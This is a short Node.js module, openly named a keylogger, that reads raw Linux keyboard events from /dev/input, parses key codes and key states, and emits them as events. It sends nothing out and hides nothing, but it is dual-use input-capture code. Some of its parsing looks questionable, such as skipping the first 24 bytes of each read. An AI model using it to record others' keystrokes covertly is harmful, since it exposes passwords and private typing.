node-keylogger/lib/index.js

Simple Node.js keylogger using event emitters

'use strict';

var fs = require('fs');
var EventEmitter = require('events').EventEmitter;
var toKey = require('./keycodes');

var EVENT_TYPES = ['keyup', 'keypress', 'keydown'];
var EV_KEY = 1;

function Keyboard(dev) {
  this.dev = dev || 'event0';
  this.bufferSize = 24;
  this.buffer = new Buffer(this.bufferSize);
  this.data = fs.createReadStream('/dev/input/' + this.dev);
  this.onRead();
}

Keyboard.prototype = Object.create(EventEmitter.prototype, {
  constructor: { value: Keyboard }
});

Keyboard.prototype.onRead = function onRead() {
  var _this = this;

  var self = this;

  this.data.on('data', function (data) {
    _this.buffer = data.slice(24);
    var event = parse(_this, _this.buffer);
    if (event) {
      event.dev = self.dev;
      self.emit(event.type, event);
    }
  });

  this.data.on('error', function (err) {
    self.emit('error', err);
    throw new Error(err);
  });
};

function parse(input, buffer) {
  var event = undefined;
  if (buffer.readUInt16LE(16) === EV_KEY) {
    event = {
      timeS: buffer.readUInt16LE(0),
      timeMS: buffer.readUInt16LE(8),
      keyCode: buffer.readUInt16LE(18)
    };
    event.keyId = toKey[event.keyCode];
    event.type = EVENT_TYPES[buffer.readUInt32LE(20)];
  }
  return event;
}

Keyboard.Keys = toKey;

module.exports = Keyboard;